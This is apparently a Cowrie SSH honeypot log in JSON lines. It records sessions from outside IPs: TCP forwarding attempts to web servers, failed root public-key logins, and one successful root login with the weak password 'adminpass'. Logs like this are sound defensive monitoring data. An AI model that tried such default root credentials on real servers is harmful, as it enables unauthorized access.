{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xd3h\\xb0K\\xd2\\xfc\\x1a\\xc1\\x8bM\\x8e\\x91\\xc4Y\\xc8\\xe27\\xa1\\xceQ\\x1e\\x97\\xbf\\xc4\\x9d\\xbe\\x821\\x1f\\xa8\\xeb M\\xd41\\x98@\\xb1\\xff\\x1a3[}\\xc6\\x1e.k\\x98\\x1dc\\x072\\xf6V\\xe8\\xa3\\xed3\\x08\\xe5\\xfd\\x1d\\x1c\\x18\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x90_\\xb5\\xcc\\x89)\\xcb\\xeby\\xa5\\xb2`\\x9f&i\\n\\x00Q\\x149\\xc6KY\\xdf\\xb3%\\x99X[\\xf2\\x92Y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xd3h\\xb0K\\xd2\\xfc\\x1a\\xc1\\x8bM\\x8e\\x91\\xc4Y\\xc8\\xe27\\xa1\\xceQ\\x1e\\x97\\xbf\\xc4\\x9d\\xbe\\x821\\x1f\\xa8\\xeb M\\xd41\\x98@\\xb1\\xff\\x1a3[}\\xc6\\x1e.k\\x98\\x1dc\\x072\\xf6V\\xe8\\xa3\\xed3\\x08\\xe5\\xfd\\x1d\\x1c\\x18\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x90_\\xb5\\xcc\\x89)\\xcb\\xeby\\xa5\\xb2`\\x9f&i\\n\\x00Q\\x149\\xc6KY\\xdf\\xb3%\\x99X[\\xf2\\x92Y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:55.128024Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":51118,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:51118","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:57.428013Z","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:58.688083Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xdd\\x1dAW\\x00q\\x1c\\xbf\\xaaBV\\xcc\\xf7A\\xc2\\x9f]\"\\x05\\xd9\\x0fRI3\\xf0iM\\xc0}0\\xc3 \\xc7\\x1f#?\\xb5\\xebQRF|\\xac+\\xe6\\x04\\x04$}\\xf0)\\xc1$\\xc6\\xad\\x0e(\\xc6\\xaf\\xbb\\xcc\\xc8Q\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 wH\\xac\\x98T\\x11\\xa5)RuGi\\xfd\\x8da\\x8drf\\xd1\\x0b\\x00\\xebA\\x87\\nt\\xa0w\\xd1\\xbe\\x01)\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xdd\\x1dAW\\x00q\\x1c\\xbf\\xaaBV\\xcc\\xf7A\\xc2\\x9f]\"\\x05\\xd9\\x0fRI3\\xf0iM\\xc0}0\\xc3 \\xc7\\x1f#?\\xb5\\xebQRF|\\xac+\\xe6\\x04\\x04$}\\xf0)\\xc1$\\xc6\\xad\\x0e(\\xc6\\xaf\\xbb\\xcc\\xc8Q\\x91\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 wH\\xac\\x98T\\x11\\xa5)RuGi\\xfd\\x8da\\x8drf\\xd1\\x0b\\x00\\xebA\\x87\\nt\\xa0w\\xd1\\xbe\\x01)\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:58.692363Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:56:00.082566Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":43068,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c79831e03a","protocol":"ssh","message":"New connection: 139.19.117.129:43068 (159.203.135.109:22) [session: 79c79831e03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:13.875489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:13.880074Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:13.976738Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:14.173212Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:14.177601Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:14.277200Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:14.280795Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:23.876010Z","src_ip":"139.19.117.129","session":"79c79831e03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":39072,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbde0598a7fe","protocol":"ssh","message":"New connection: 77.90.185.17:39072 (10.17.0.5:22) [session: bbde0598a7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:45.830529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:45.835093Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:45.940447Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:46.459235Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
